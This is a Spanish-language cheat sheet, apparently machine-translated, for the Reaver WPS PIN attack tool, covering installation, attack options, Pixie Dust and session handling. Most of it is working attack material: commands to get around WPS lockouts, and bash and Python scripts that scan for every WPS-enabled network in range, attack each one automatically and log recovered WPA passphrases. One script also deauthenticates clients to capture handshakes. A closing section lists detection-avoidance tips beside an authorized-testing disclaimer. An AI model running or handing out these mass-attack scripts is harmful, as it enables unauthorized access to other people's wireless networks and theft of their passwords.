Reaver Cheat Sheet
"Clase de la hoja" id="copy-btn" class="copy-btn" onclick="copyAllCommands()" Copiar todos los comandos id="pdf-btn" class="pdf-btn" onclick="generatePDF()" Generar PDF seleccionado/button ■/div titulada
Sinopsis
Reaver es una herramienta de seguridad inalámbrica especializada diseñada para explotar vulnerabilidades en implementaciones Wi-Fi Protected Setup (WPS) para recuperar contraseñas WPA/WPA2. Desarrollado por Craig Heffner, Reaver implementa un ataque de fuerza bruta contra la autenticación WPS PIN, aprovechando un defecto de diseño crítico en el protocolo WPS que permite a los atacantes recuperar el PIN en significativamente menos intentos que el máximo teórico. Esta vulnerabilidad, conocida como el ataque WPS PIN, afecta a millones de routers inalámbricos y puntos de acceso en todo el mundo.
La debilidad fundamental que Reaver explota radica en cómo WPS valida la autenticación PIN. En lugar de validar todo el PIN de 8 dígitos como unidad única, WPS valida el PIN en dos mitades separadas, reduciendo efectivamente el espacio de búsqueda de 10^8 posibles combinaciones a aproximadamente 11.000 intentos. Este defecto de diseño, combinado con el hecho de que la mayoría de las implementaciones WPS no implementan mecanismos adecuados de limitación o bloqueo, permite recuperar PINs WPS y posteriormente la contraseña WPA/WPA2 en cuestión de horas.
Reaver se ha convertido en una herramienta esencial para evaluaciones de seguridad inalámbrica y pruebas de penetración, demostrando las deficiencias de seguridad inherentes en las implementaciones de WPS. La eficacia de la herramienta ha llevado a una conciencia generalizada de las vulnerabilidades WPS y ha influenciado a muchas organizaciones para deshabilitar la funcionalidad WPS en su infraestructura inalámbrica. A pesar de las contramedidas aplicadas por algunos fabricantes, Reaver sigue siendo relevante para probar sistemas heredados e identificar redes inalámbricas vulnerables durante las evaluaciones de seguridad.
Instalación
Paquete Manager Instalación
Instalar Reaver a través de los administradores de paquetes del sistema:
# Ubuntu/Debian installation
sudo apt update
sudo apt install reaver
# Kali Linux (pre-installed)
reaver --help
# CentOS/RHEL installation
sudo yum install epel-release
sudo yum install reaver
# Arch Linux installation
sudo pacman -S reaver
# Verify installation
reaver --version
which reaver
Compilación de fuentes
Compiling Reaver del código fuente:
# Install dependencies
sudo apt install build-essential libpcap-dev sqlite3 libsqlite3-dev
# Clone repository
git clone https://github.com/t6x/reaver-wps-fork-t6x.git
cd reaver-wps-fork-t6x
# Navigate to source directory
cd src
# Configure and compile
./configure
make
# Install system-wide
sudo make install
# Verify installation
reaver --version
Docker Instalación
# Create Dockerfile for Reaver
cat > Dockerfile << 'EOF'
FROM kalilinux/kali-rolling
RUN apt-get update && apt-get install -y reaver aircrack-ng
WORKDIR /workspace
CMD ["/bin/bash"]
EOF
# Build container
docker build -t reaver-toolkit .
# Run with network access
docker run -it --net=host --privileged reaver-toolkit
# Mount workspace
docker run -it --net=host --privileged -v $(pwd):/workspace reaver-toolkit
Uso básico
Target Discovery
Descubrir puntos de acceso habilitados para WPS:
# Put wireless interface in monitor mode
sudo airmon-ng start wlan0
# Scan for WPS-enabled networks
wash -i wlan0mon
# Detailed WPS scan
wash -i wlan0mon -C
# Scan specific channel
wash -i wlan0mon -c 6
# Save scan results
wash -i wlan0mon -o wps_targets.txt
# Show only networks with WPS enabled
wash -i wlan0mon|grep "Yes"
Basic WPS Ataque
Realización de ataque de fuerza bruta básica WPS PIN:
# Basic Reaver attack
reaver -i wlan0mon -b 00:11:22:33:44:55 -vv
# Attack with specific channel
reaver -i wlan0mon -b 00:11:22:33:44:55 -c 6 -vv
# Attack with delay between attempts
reaver -i wlan0mon -b 00:11:22:33:44:55 -d 1 -vv
# Attack with session file
reaver -i wlan0mon -b 00:11:22:33:44:55 -s session.wpc -vv
# Resume previous session
reaver -i wlan0mon -b 00:11:22:33:44:55 -s session.wpc -vv
Opciones avanzadas de ataque
Configuraciones avanzadas de ataque Reaver:
# Ignore lock warnings
reaver -i wlan0mon -b 00:11:22:33:44:55 -L -vv
# No NACKS (for some routers)
reaver -i wlan0mon -b 00:11:22:33:44:55 -N -vv
# Disable associated requests
reaver -i wlan0mon -b 00:11:22:33:44:55 -A -vv
# Use small DH keys
reaver -i wlan0mon -b 00:11:22:33:44:55 -S -vv
# Specify timeout
reaver -i wlan0mon -b 00:11:22:33:44:55 -T 1 -vv
Características avanzadas
PIN Management
Gestión de intentos de PIN WPS y recuperación:
# Start from specific PIN
reaver -i wlan0mon -b 00:11:22:33:44:55 -p 12345670 -vv
# Use PIN from file
reaver -i wlan0mon -b 00:11:22:33:44:55 -P pin_list.txt -vv
# Generate PIN list
crunch 8 8 0123456789 > pin_list.txt
# Check specific PIN
reaver -i wlan0mon -b 00:11:22:33:44:55 -p 12345670 -1 -vv
# Show current PIN attempt
reaver -i wlan0mon -b 00:11:22:33:44:55 -vv|grep "Trying pin"
Gestión del período de sesiones
Gestión de las sesiones de ataque de Reaver:
# Create named session
reaver -i wlan0mon -b 00:11:22:33:44:55 -s target1.wpc -vv
# List existing sessions
ls ~/.reaver/
# View session details
sqlite3 ~/.reaver/target1.wpc "SELECT * FROM status;"
# Delete session
rm ~/.reaver/target1.wpc
# Backup session
cp ~/.reaver/target1.wpc target1_backup.wpc
Tasa de limitación y tiempo
Controlar el tiempo de ataque y limitar la tasa:
# Delay between PIN attempts (seconds)
reaver -i wlan0mon -b 00:11:22:33:44:55 -d 5 -vv
# Delay after 10 failures
reaver -i wlan0mon -b 00:11:22:33:44:55 -r 10:60 -vv
# Maximum number of attempts
reaver -i wlan0mon -b 00:11:22:33:44:55 -g 100 -vv
# Timeout for each attempt
reaver -i wlan0mon -b 00:11:22:33:44:55 -T 5 -vv
# Recurring delay pattern
reaver -i wlan0mon -b 00:11:22:33:44:55 -R 3 -vv
Pixie Dust Attack
Implementación del ataque del polvo de Pixie (offline):
# Enable Pixie Dust attack
reaver -i wlan0mon -b 00:11:22:33:44:55 -K -vv
# Pixie Dust with specific parameters
reaver -i wlan0mon -b 00:11:22:33:44:55 -K 1 -vv
# Save Pixie Dust data
reaver -i wlan0mon -b 00:11:22:33:44:55 -K -O pixie_data.txt -vv
# Use external Pixie Dust tool
pixiewps -e pke -r pkr -s hash1 -z hash2 -a authkey -n e-nonce
# Automated Pixie Dust with OneShot
python3 oneshot.py -i wlan0mon -b 00:11:22:33:44:55 -K
Scripts de automatización
Pruebas de WPS en masa
#!/bin/bash
# Mass WPS testing script
INTERFACE="wlan0mon"
RESULTS_DIR="reaver_results"
DELAY=2
mkdir -p $RESULTS_DIR
echo "Starting mass WPS testing"
# Discover WPS targets
echo "Discovering WPS-enabled targets..."
wash -i $INTERFACE -C > $RESULTS_DIR/wps_targets.txt
# Extract target information
grep "Yes" $RESULTS_DIR/wps_targets.txt|while read line; do
BSSID=$(echo $line|awk '\\\\{print $1\\\\}')
CHANNEL=$(echo $line|awk '\\\\{print $2\\\\}')
ESSID=$(echo $line|awk '\\\\{print $6\\\\}')
echo "Testing target: $ESSID ($BSSID) on channel $CHANNEL"
# Create target-specific log
LOG_FILE="$RESULTS_DIR/reaver_$\\\\{BSSID//:/_\\\\}.log"
SESSION_FILE="$RESULTS_DIR/session_$\\\\{BSSID//:/_\\\\}.wpc"
# Try Pixie Dust attack first
echo "Attempting Pixie Dust attack on $BSSID"
timeout 300 reaver -i $INTERFACE -b $BSSID -c $CHANNEL -K -vv -s $SESSION_FILE > $LOG_FILE 2>&1
# Check if Pixie Dust was successful
if grep -q "WPS PIN:" $LOG_FILE; then
echo "SUCCESS: Pixie Dust attack successful for $BSSID"
grep "WPS PIN:\|WPA PSK:" $LOG_FILE >> $RESULTS_DIR/successful_attacks.txt
continue
fi
# If Pixie Dust failed, try regular brute force
echo "Pixie Dust failed, attempting brute force on $BSSID"
timeout 3600 reaver -i $INTERFACE -b $BSSID -c $CHANNEL -d $DELAY -vv -s $SESSION_FILE >> $LOG_FILE 2>&1 &
# Store PID for later management
echo $! > $RESULTS_DIR/reaver_$\\\\{BSSID//:/_\\\\}.pid
sleep 10 # Brief delay between targets
done
echo "Mass WPS testing initiated. Check $RESULTS_DIR for results."
PIN automatizado Recuperación
#!/usr/bin/env python3
# Automated WPS PIN recovery script
import subprocess
import re
import time
import json
from datetime import datetime
class ReaverAutomation:
def __init__(self, interface):
self.interface = interface
self.results = \\\\{\\\\}
self.active_attacks = \\\\{\\\\}
def discover_targets(self):
"""Discover WPS-enabled targets"""
cmd = ["wash", "-i", self.interface, "-C"]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
targets = []
for line in result.stdout.split('\n'):
if 'Yes' in line: # WPS enabled
parts = line.split()
if len(parts) >= 6:
target = \\\\{
'bssid': parts[0],
'channel': parts[1],
'rssi': parts[2],
'wps_version': parts[3],
'wps_locked': parts[4],
'essid': ' '.join(parts[5:])
\\\\}
targets.append(target)
return targets
except Exception as e:
print(f"Error discovering targets: \\\\{e\\\\}")
return []
def pixie_dust_attack(self, target):
"""Attempt Pixie Dust attack"""
cmd = [
"reaver",
"-i", self.interface,
"-b", target['bssid'],
"-c", target['channel'],
"-K", # Pixie Dust
"-vv"
]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
# Parse output for PIN and PSK
pin_match = re.search(r'WPS PIN: (\d+)', result.stdout)
psk_match = re.search(r'WPA PSK: (.+)', result.stdout)
if pin_match and psk_match:
return \\\\{
'success': True,
'method': 'pixie_dust',
'pin': pin_match.group(1),
'psk': psk_match.group(1),
'time': datetime.now().isoformat()
\\\\}
else:
return \\\\{'success': False, 'method': 'pixie_dust'\\\\}
except subprocess.TimeoutExpired:
return \\\\{'success': False, 'method': 'pixie_dust', 'error': 'timeout'\\\\}
except Exception as e:
return \\\\{'success': False, 'method': 'pixie_dust', 'error': str(e)\\\\}
def brute_force_attack(self, target, max_time=3600):
"""Attempt brute force attack"""
session_file = f"session_\\\\{target['bssid'].replace(':', '_')\\\\}.wpc"
cmd = [
"reaver",
"-i", self.interface,
"-b", target['bssid'],
"-c", target['channel'],
"-d", "2", # 2 second delay
"-s", session_file,
"-vv"
]
try:
process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
start_time = time.time()
while True:
if time.time() - start_time > max_time:
process.terminate()
return \\\\{'success': False, 'method': 'brute_force', 'error': 'timeout'\\\\}
line = process.stdout.readline()
if not line:
break
# Check for successful PIN recovery
pin_match = re.search(r'WPS PIN: (\d+)', line)
psk_match = re.search(r'WPA PSK: (.+)', line)
if pin_match and psk_match:
process.terminate()
return \\\\{
'success': True,
'method': 'brute_force',
'pin': pin_match.group(1),
'psk': psk_match.group(1),
'time': datetime.now().isoformat()
\\\\}
# Check for rate limiting
if 'rate limiting' in line.lower():
print(f"Rate limiting detected for \\\\{target['bssid']\\\\}")
time.sleep(60) # Wait before continuing
process.terminate()
return \\\\{'success': False, 'method': 'brute_force'\\\\}
except Exception as e:
return \\\\{'success': False, 'method': 'brute_force', 'error': str(e)\\\\}
def attack_target(self, target):
"""Attack single target with multiple methods"""
print(f"Attacking \\\\{target['essid']\\\\} (\\\\{target['bssid']\\\\})")
# Try Pixie Dust first
result = self.pixie_dust_attack(target)
if result['success']:
print(f"SUCCESS: Pixie Dust attack successful for \\\\{target['bssid']\\\\}")
self.results[target['bssid']] = result
return result
# If Pixie Dust failed, try brute force
print(f"Pixie Dust failed, attempting brute force for \\\\{target['bssid']\\\\}")
result = self.brute_force_attack(target)
if result['success']:
print(f"SUCCESS: Brute force attack successful for \\\\{target['bssid']\\\\}")
else:
print(f"FAILED: All attacks failed for \\\\{target['bssid']\\\\}")
self.results[target['bssid']] = result
return result
def run_mass_attack(self):
"""Run attacks against all discovered targets"""
targets = self.discover_targets()
if not targets:
print("No WPS-enabled targets found")
return
print(f"Found \\\\{len(targets)\\\\} WPS-enabled targets")
for target in targets:
self.attack_target(target)
time.sleep(5) # Brief delay between targets
self.generate_report()
def generate_report(self):
"""Generate attack results report"""
report = \\\\{
'timestamp': datetime.now().isoformat(),
'interface': self.interface,
'total_targets': len(self.results),
'successful_attacks': len([r for r in self.results.values() if r['success']]),
'results': self.results
\\\\}
with open('reaver_report.json', 'w') as f:
json.dump(report, f, indent=2)
print(f"Report saved to reaver_report.json")
print(f"Successful attacks: \\\\{report['successful_attacks']\\\\}/\\\\{report['total_targets']\\\\}")
# Usage
if __name__ == "__main__":
automation = ReaverAutomation("wlan0mon")
automation.run_mass_attack()
WPS Vulnerability Scanner
#!/usr/bin/env python3
# WPS vulnerability scanner
import subprocess
import re
import csv
from datetime import datetime
class WPSScanner:
def __init__(self, interface):
self.interface = interface
self.vulnerabilities = []
def scan_wps_networks(self):
"""Scan for WPS-enabled networks"""
cmd = ["wash", "-i", self.interface, "-C"]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
networks = []
for line in result.stdout.split('\n'):
if line.strip() and not line.startswith('BSSID'):
parts = line.split()
if len(parts) >= 5:
network = \\\\{
'bssid': parts[0],
'channel': parts[1],
'rssi': parts[2],
'wps_version': parts[3],
'wps_locked': parts[4],
'wps_enabled': 'Yes' in line,
'essid': ' '.join(parts[5:]) if len(parts) > 5 else 'Hidden'
\\\\}
networks.append(network)
return networks
except Exception as e:
print(f"Error scanning networks: \\\\{e\\\\}")
return []
def test_pixie_dust_vulnerability(self, network):
"""Test if network is vulnerable to Pixie Dust attack"""
cmd = [
"reaver",
"-i", self.interface,
"-b", network['bssid'],
"-c", network['channel'],
"-K", # Pixie Dust
"-vv"
]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
# Check for Pixie Dust vulnerability indicators
if 'WPS PIN:' in result.stdout:
return 'vulnerable'
elif 'Pixie Dust attack failed' in result.stdout:
return 'not_vulnerable'
elif 'timeout' in result.stderr.lower():
return 'timeout'
else:
return 'unknown'
except subprocess.TimeoutExpired:
return 'timeout'
except Exception as e:
return 'error'
def assess_wps_security(self, network):
"""Assess WPS security configuration"""
vulnerabilities = []
# Check if WPS is enabled
if network['wps_enabled']:
vulnerabilities.append('WPS_ENABLED')
# Check if WPS is locked
if network['wps_locked'] == 'No':
vulnerabilities.append('WPS_NOT_LOCKED')
# Check WPS version
if network['wps_version'] in ['1.0', '2.0']:
vulnerabilities.append('VULNERABLE_WPS_VERSION')
# Test Pixie Dust vulnerability
pixie_result = self.test_pixie_dust_vulnerability(network)
if pixie_result == 'vulnerable':
vulnerabilities.append('PIXIE_DUST_VULNERABLE')
return vulnerabilities
def generate_vulnerability_report(self, networks):
"""Generate comprehensive vulnerability report"""
report_data = []
for network in networks:
if network['wps_enabled']:
vulns = self.assess_wps_security(network)
report_entry = \\\\{
'timestamp': datetime.now().isoformat(),
'bssid': network['bssid'],
'essid': network['essid'],
'channel': network['channel'],
'rssi': network['rssi'],
'wps_version': network['wps_version'],
'wps_locked': network['wps_locked'],
'vulnerabilities': ','.join(vulns),
'risk_level': self.calculate_risk_level(vulns)
\\\\}
report_data.append(report_entry)
self.vulnerabilities.extend(vulns)
# Save to CSV
with open('wps_vulnerability_report.csv', 'w', newline='') as csvfile:
fieldnames = ['timestamp', 'bssid', 'essid', 'channel', 'rssi',
'wps_version', 'wps_locked', 'vulnerabilities', 'risk_level']
writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
writer.writeheader()
for entry in report_data:
writer.writerow(entry)
return report_data
def calculate_risk_level(self, vulnerabilities):
"""Calculate risk level based on vulnerabilities"""
if 'PIXIE_DUST_VULNERABLE' in vulnerabilities:
return 'CRITICAL'
elif 'WPS_NOT_LOCKED' in vulnerabilities and 'WPS_ENABLED' in vulnerabilities:
return 'HIGH'
elif 'WPS_ENABLED' in vulnerabilities:
return 'MEDIUM'
else:
return 'LOW'
def run_assessment(self):
"""Run complete WPS security assessment"""
print("Starting WPS vulnerability assessment...")
networks = self.scan_wps_networks()
print(f"Found \\\\{len(networks)\\\\} networks")
wps_networks = [n for n in networks if n['wps_enabled']]
print(f"Found \\\\{len(wps_networks)\\\\} WPS-enabled networks")
if wps_networks:
report = self.generate_vulnerability_report(wps_networks)
# Summary statistics
critical = len([r for r in report if r['risk_level'] == 'CRITICAL'])
high = len([r for r in report if r['risk_level'] == 'HIGH'])
medium = len([r for r in report if r['risk_level'] == 'MEDIUM'])
print(f"\nVulnerability Summary:")
print(f"Critical: \\\\{critical\\\\}")
print(f"High: \\\\{high\\\\}")
print(f"Medium: \\\\{medium\\\\}")
print(f"Report saved to wps_vulnerability_report.csv")
else:
print("No WPS-enabled networks found")
# Usage
if __name__ == "__main__":
scanner = WPSScanner("wlan0mon")
scanner.run_assessment()
Ejemplos de integración
Integración Aircrack-ng
#!/bin/bash
# Reaver and Aircrack-ng integration
INTERFACE="wlan0mon"
TARGET_BSSID="00:11:22:33:44:55"
TARGET_CHANNEL="6"
echo "Starting integrated WPS/WPA attack"
# Start airodump-ng to capture handshakes
airodump-ng -c $TARGET_CHANNEL -w capture --bssid $TARGET_BSSID $INTERFACE &
AIRODUMP_PID=$!
# Start Reaver attack
reaver -i $INTERFACE -b $TARGET_BSSID -c $TARGET_CHANNEL -vv &
REAVER_PID=$!
# Monitor for successful WPS crack
while kill -0 $REAVER_PID 2>/dev/null; do
if grep -q "WPS PIN:" reaver.log 2>/dev/null; then
echo "WPS PIN recovered!"
kill $REAVER_PID
break
fi
sleep 10
done
# If WPS failed, try WPA handshake capture
if ! grep -q "WPS PIN:" reaver.log 2>/dev/null; then
echo "WPS attack failed, attempting handshake capture"
# Send deauth packets to force handshake
aireplay-ng -0 5 -a $TARGET_BSSID $INTERFACE
# Wait for handshake
sleep 30
# Stop airodump-ng
kill $AIRODUMP_PID
# Check for captured handshake
if aircrack-ng -w wordlist.txt capture-01.cap; then
echo "WPA passphrase recovered via handshake attack"
fi
fi
echo "Attack completed"
Kismet Integration
#!/usr/bin/env python3
# Reaver and Kismet integration
import subprocess
import json
import time
class ReaverKismetIntegration:
def __init__(self, kismet_server="localhost:2501"):
self.kismet_server = kismet_server
self.wps_targets = []
def get_kismet_devices(self):
"""Get device list from Kismet"""
cmd = [
"curl",
"-s",
f"http://\\\\{self.kismet_server\\\\}/devices/views/all/devices.json"
]
try:
result = subprocess.run(cmd, capture_output=True, text=True)
devices = json.loads(result.stdout)
wps_devices = []
for device in devices:
if 'dot11.device' in device:
dot11 = device['dot11.device']
if 'dot11.device.wps_config_methods' in dot11:
wps_devices.append(\\\\{
'bssid': device['kismet.device.base.macaddr'],
'ssid': dot11.get('dot11.device.last_beaconed_ssid', 'Hidden'),
'channel': dot11.get('dot11.device.channel', 'Unknown'),
'signal': device.get('kismet.device.base.signal', \\\\{\\\\}).get('kismet.common.signal.last_signal', 0)
\\\\})
return wps_devices
except Exception as e:
print(f"Error getting Kismet devices: \\\\{e\\\\}")
return []
def prioritize_targets(self, devices):
"""Prioritize targets based on signal strength and other factors"""
# Sort by signal strength (higher is better)
sorted_devices = sorted(devices, key=lambda x: x['signal'], reverse=True)
# Filter out weak signals
strong_devices = [d for d in sorted_devices if d['signal'] > -70]
return strong_devices
def attack_target(self, target, interface="wlan0mon"):
"""Attack target with Reaver"""
cmd = [
"reaver",
"-i", interface,
"-b", target['bssid'],
"-c", str(target['channel']),
"-K", # Try Pixie Dust first
"-vv"
]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
if 'WPS PIN:' in result.stdout:
return \\\\{
'success': True,
'method': 'pixie_dust',
'output': result.stdout
\\\\}
else:
# Try brute force if Pixie Dust fails
cmd[cmd.index('-K')] = '-d'
cmd.insert(cmd.index('-d') + 1, '2')
result = subprocess.run(cmd, capture_output=True, text=True, timeout=1800)
if 'WPS PIN:' in result.stdout:
return \\\\{
'success': True,
'method': 'brute_force',
'output': result.stdout
\\\\}
else:
return \\\\{'success': False, 'output': result.stdout\\\\}
except subprocess.TimeoutExpired:
return \\\\{'success': False, 'error': 'timeout'\\\\}
except Exception as e:
return \\\\{'success': False, 'error': str(e)\\\\}
def run_integrated_attack(self, interface="wlan0mon"):
"""Run integrated Kismet + Reaver attack"""
print("Getting WPS targets from Kismet...")
devices = self.get_kismet_devices()
if not devices:
print("No WPS devices found in Kismet")
return
print(f"Found \\\\{len(devices)\\\\} WPS-enabled devices")
# Prioritize targets
targets = self.prioritize_targets(devices)
print(f"Attacking \\\\{len(targets)\\\\} prioritized targets")
for target in targets:
print(f"Attacking \\\\{target['ssid']\\\\} (\\\\{target['bssid']\\\\})")
result = self.attack_target(target, interface)
if result['success']:
print(f"SUCCESS: \\\\{target['ssid']\\\\} cracked via \\\\{result['method']\\\\}")
# Log successful attack
with open('successful_attacks.log', 'a') as f:
f.write(f"\\\\{time.ctime()\\\\}: \\\\{target['ssid']\\\\} (\\\\{target['bssid']\\\\}) - \\\\{result['method']\\\\}\n")
else:
print(f"FAILED: \\\\{target['ssid']\\\\} attack unsuccessful")
time.sleep(5) # Brief delay between attacks
# Usage
if __name__ == "__main__":
integration = ReaverKismetIntegration()
integration.run_integrated_attack("wlan0mon")
Solución de problemas
Cuestiones comunes
** Problemas de interfaz:**
# Check wireless interface
iwconfig
# Put interface in monitor mode
sudo airmon-ng start wlan0
# Check monitor mode interface
iwconfig wlan0mon
# Kill conflicting processes
sudo airmon-ng check kill
# Restart network manager
sudo systemctl restart NetworkManager
** Problemas de bloqueo de los programas:**
# Check if WPS is locked
wash -i wlan0mon|grep "Yes.*Yes"
# Wait for lock timeout
reaver -i wlan0mon -b 00:11:22:33:44:55 -L -vv
# Use longer delays
reaver -i wlan0mon -b 00:11:22:33:44:55 -d 60 -vv
# Try different attack methods
reaver -i wlan0mon -b 00:11:22:33:44:55 -N -A -vv
** Problemas de asociación:**
# Check signal strength
wash -i wlan0mon|grep BSSID
# Move closer to target
# Increase transmission power (if legal)
sudo iwconfig wlan0mon txpower 20
# Use external antenna
# Check for interference
airodump-ng wlan0mon
Debugging
Permite depuración y registro detallados:
# Maximum verbosity
reaver -i wlan0mon -b 00:11:22:33:44:55 -vv
# Log to file
reaver -i wlan0mon -b 00:11:22:33:44:55 -vv 2>&1|tee reaver.log
# Monitor system logs
tail -f /var/log/syslog|grep reaver
# Check wireless driver logs
dmesg|grep -i wireless
# Monitor network traffic
tcpdump -i wlan0mon -w reaver_traffic.pcap
Consideraciones de seguridad
Consideraciones jurídicas y éticas
Authorized Testing Only: - Sólo las redes de prueba que posee o tienen permiso explícito para probar - Obtener autorización escrita antes de realizar ataques WPS - Seguir las leyes y reglamentos locales en materia de pruebas de seguridad inalámbrica - Respetar la privacidad y la confidencialidad del tráfico de red - Document all testing activities for compliance
**Responsable Disclosure: # - Informar vulnerabilidades a los propietarios de redes - Proporcionar orientación para la rehabilitación - Permitir tiempo razonable para las correcciones - Seguir las prácticas coordinadas de divulgación - Mantener la confidencialidad durante el proceso de divulgación
Seguridad operacional
Evitación de la detección: - Use demoras apropiadas entre los intentos - Monitor para respuestas defensivas - Evite las horas de uso máximo - Use antenas direccionales cuando sea posible - Aplicar medidas de seguridad operacional adecuadas
** Impacto de la red:** - Minimizar la perturbación de los usuarios legítimos - Evite ataques excesivos de deauthenticación - Supervisar el impacto del rendimiento de la red - Use niveles de potencia adecuados - Respetar los requisitos de disponibilidad de la red